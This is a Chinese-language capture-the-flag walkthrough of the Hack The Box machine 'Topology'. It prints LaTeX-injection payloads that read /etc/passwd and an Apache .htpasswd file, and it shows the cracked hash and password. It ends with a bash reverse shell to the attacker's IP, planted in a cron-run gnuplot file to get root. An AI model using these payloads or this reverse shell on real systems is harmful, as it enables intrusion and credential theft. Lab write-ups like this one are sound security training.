HTB-Topology
一、思路概要
1.信息收集发现LaTeX公式生成器;
2.LaTeX公式生成器任意文件读取Apache的.htpasswd
文件获取SSH账户;
3.SSH连接执行pspy64发现定时任务反弹shell获取root权限。
二、信息收集
nmap扫描端口服务
nmap -A 10.10.11.217
80端口开放,直接访问

首页看到有一个LaTeX表达式的超链接
发现子域,添加进本地hosts文件
echo "10.10.11.217 latex.topology.htb topology.htb" >> /etc/hosts
三、latex实现任意文件读取
google关键词:latex exploit
https://book.hacktricks.xyz/pentesting-web/formula-doc-latex-injection#latex-injection
经过尝试,最终payload如下,读取/etc/passwd
文件
$\lstinputlisting{/etc/passwd}$


发现另一个用户vdaisley
,但是没有口令,扫描子域发现stats
和dev
子域,都添加到本地hosts文件后,stats
子域打开是一张图片,dev
子域需要认证
gobuster vhost -u http://topology.htb --append-domain -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50
既然dev
子域需要认证,而且通常在Apache服务器中会使用.htpasswd
文件存储密码文件,那么vdaisley
的口令也极有可能存储在dev
子域的.htpasswd
文件中,又因为此文件通常位于网站根目录,所以可以用如下payload尝试读取/var/www/dev/.htpasswd
文件
$\lstinputlisting{/var/www/dev/.htpasswd}$
vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0
把hash值写入文件hash,用john爆破
john --wordlist=/usr/share/wordlists/rockyou.txt hash
vdaisley:calculus20
SSH连接
四、pspy64发现定时任务反弹shell
本地kali开启http服务
python3 -m http.server 80
目标靶机从本地下载pspy64
wget http://10.10.14.8/pspy64
chmod +x pspy64
执行,发现定时任务如下,可通过在/opt/gnuplot目录下新建后缀为.plt
的文件,并在文件中写入恶意命令,通过定时任务的/bin/sh -c
间接执行
新建文件/opt/gnuplot/shell.plt
,内容如下
system "bash -c 'bash -i >& /dev/tcp/10.10.14.8/9898 0>&1'"
本地kali开启监听
nc -lvnp 9898
稍等片刻,成功获取root权限
Over!
